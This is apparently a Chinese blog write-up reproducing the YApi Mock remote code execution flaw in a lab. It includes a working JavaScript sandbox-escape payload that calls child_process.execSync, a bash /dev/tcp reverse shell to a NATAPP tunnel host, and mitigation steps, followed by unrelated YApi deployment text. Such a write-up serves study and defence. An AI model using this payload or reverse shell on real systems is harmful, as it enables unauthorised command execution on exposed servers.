YApi Mock功能远程代码执行漏洞复现

YApi Mock功能远程代码执行漏洞复现


漏洞描述

API接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。 YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问 YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代码。

影响版本

YApi7月7日前版本,即版本<=1.92(后文有说明)

环境搭建

一、kali使用git直接克隆到本地(失败)

地址:https://github.com/Ryan-Miao/docker-yapi

git clone https://github.com/Ryan-Miao/docker-yapi.git

image-20210805174147977

然后启动环境

docker-compose up -d

加个-d在后台运行比较方便,如果想看到镜像的运行过程,可以不加-d,如下图

image-20210805181057212

二、nmp直接下载(失败)

地址 :https://github.com/YMFE/yapi/

下载后npm安装

npm install -g yapi-cli --registry https://registry.npm.taobao.org

目录下启动环境

yapi server 

服务管理

image-20210806113251607

启动环境后访问9090端口开始部署环境

image-20210806113449404

直接默认部署即可,也可以选择版本

image-20210806113656951

等待部署完成。

翻车:

image-20210806163846072

应该是没有MongoDB服务导致的

Mongdb安装配置

具体可以看这篇文章:https://www.cnblogs.com/jackson-yqj/p/11043770.html

1、下载Mongdb
curl -O https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-4.0.10.tgz    # 下载
2、解压并拷贝到指定目录
tar -zxvf mongodb-linux-x86_64-4.0.10.tgz                                   # 解压
mv  mongodb-linux-x86_64-4.0.10/ /usr/local/mongodb                         # 将解压包拷贝到指定目录
3、配置系统环境变量

vim /etc/profile

会提示文件已存在,输入“e”,回车,然后键盘按下“i” ,进入编辑模式即可。在文件的最后加上:

#mongodb
export PATH=$PATH:/usr/local/mongodb/bin

image-20210806164250039

4、建MongoDB数据存放文件夹和日志记录文件夹
mkdir data/db
mkdir data/logs
5、创建MongoDB运行时使用的配置文件

1,进入bin目录下:cd /usr/local/mongodb/bin

2,创建mongodb.conf配置文件:vim mongodb.conf

会提示是new file,直接输入下面内容:

image-20210806173716900

保存好。

6、启动MongoDB服务

1,进入bin目录下:cd /usr/local/mongodb/bin

2,加载配置文件方式启动:./mongod -f mongodb.conf

报错

image-20210806170104606

看这篇文章:https://blog.csdn.net/qq_42910468/article/details/103076136

再次失败!放弃

三、另一个地址的git(失败)

git clone https://github.com/fjc0k/docker-YApi.git

docker-compose up -d

image-20210806144104290搭建成功,但是复现之后发现已经修复了

四、利用vulfous靶场

漏洞复现

1、注册用户

image-20210806145309567

这里虽然关闭了注册,我们在docker-compose.yml中将true修改为flase,关闭这个功能,这也是这个漏洞的防护方法之一

image-20210806145818553

然后重启镜像,随意注册一个用户

image-20210806150557699

2、添加项目

image-20210806150704266

3、添加接口

image-20210806150829618

4、设置mock

image-20210806151342304

写入Poc:i whoami &&ls /tmp即为要执行的命令,记得保存

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami &&  ls /tmp").toString()

5、访问Mock地址

回到预览位置,访问地址

image-20210806151156746

翻车

image-20210806151857631

说明该git下载的版本已经修复这个漏洞了。。 查看一下文档,果然。因此,漏洞版本为1.92之前的版本。。。

image-20210806153533728

这里因为版本问题复现复现失败,但是过程是一致的,后面利用vulfocus复现一下,只展示结果

6、命令执行成功

image-20210806183953773

7、反弹shell

同样,也可以利用命令实现反弹shell。

这里利用NATAPP实现隧道穿透到虚拟机https://natapp.cn/

image-20210806184423418

端口映射到公网上进行反弹shell

开启 ./natapp -authtoken=填自己的token值

在这里插入图片描述

监听4444端口 nc -lvp 4444

然后反弹shell命令

bash -i >& /dev/tcp/server.natappfree.cc/45741 0>&1

先鸽了没成功

漏洞修复

1、关闭YApi用户注册功能;修改完成后,重启YApi服务

"config.json"添加"closeRegister:true"配置项:
{
  "port": "*****",
  "closeRegister":true
}

2、暂时关闭mock功能(需要修改YApi代码)

在"config.json"中添加"mock: false";

"exts/yapi-plugin-andvanced-mock/server.js"中找到

if (caseData&&caseData.case_enable{...}

在其上方添加

if(!yapi.WEBCONFIG.mock) {return false;}

3、白名单限制;

安全组配置白名单访问,或者使用NGINX进行代理,限制白名单IP访问;

4、检查用户列表,删除恶意不明用户;并删除恶意不明用户创建的接口及mock脚本。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
感谢您的提问,以下是Yapi接口文档和部署笔记: ## Yapi接口文档 Yapi是一个开源的、高效的、易用的接口管理平台,可以帮助团队更好地协作开发、测试和部署。它提供了丰富的接口管理、文档生成和Mock数据等功能,可以大大提升团队的开发效率和项目质量。 Yapi支持多种类型的接口,包括RESTful API、GraphQL API、RPC API等,可以满足不同的业务需求。同时,Yapi还支持多人协作、权限管理、版本控制等功能,可以让团队更加高效地进行接口开发和测试。 在使用Yapi时,您可以通过创建项目、添加接口、编写文档、生成Mock数据等方式来管理接口。Yapi还提供了丰富的插件和扩展,可以让您更加灵活地使用和定制Yapi。 ## Yapi部署笔记 Yapi的部署比较简单,您只需要按照以下步骤即可完成: 1. 安装Node.js和MongoDB Yapi是基于Node.js和MongoDB开发的,因此您需要先安装它们。您可以到官网下载Node.js和MongoDB的安装包,并按照官方文档进行安装。 2. 下载Yapi源码 您可以从Yapi的官方Github仓库中下载源码: ``` git clone https://github.com/YMFE/yapi.git vendors/yapi ``` 3. 安装依赖 进入Yapi的源码目录,执行以下命令安装依赖: ``` cd vendors/yapi npm install --production ``` 4. 配置Yapi 在Yapi的源码目录中,有一个`config.json`文件,它包含了Yapi的各种配置信息,您可以根据自己的需求进行修改。其中,重要的配置项包括: ``` { "port": "3000", // Yapi服务的端口号 "adminAccount": { // 管理员账号信息 "username": "admin", "password": "ymfe.org" }, "db": { // MongoDB的配置信息 "servername": "127.0.0.1", "port": 27017, "DATABASE": "yapi" } } ``` 5. 启动Yapi 在Yapi的源码目录中,执行以下命令启动Yapi: ``` node server/app.js ``` 然后,您就可以在浏览器中访问`http://localhost:3000`来使用Yapi了。 以上就是Yapi的简单部署笔记,希望对您有所帮助。如果您想了解更多关于Yapi的内容,可以参考官方文档:https://hellosean1025.github.io/yapi/。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值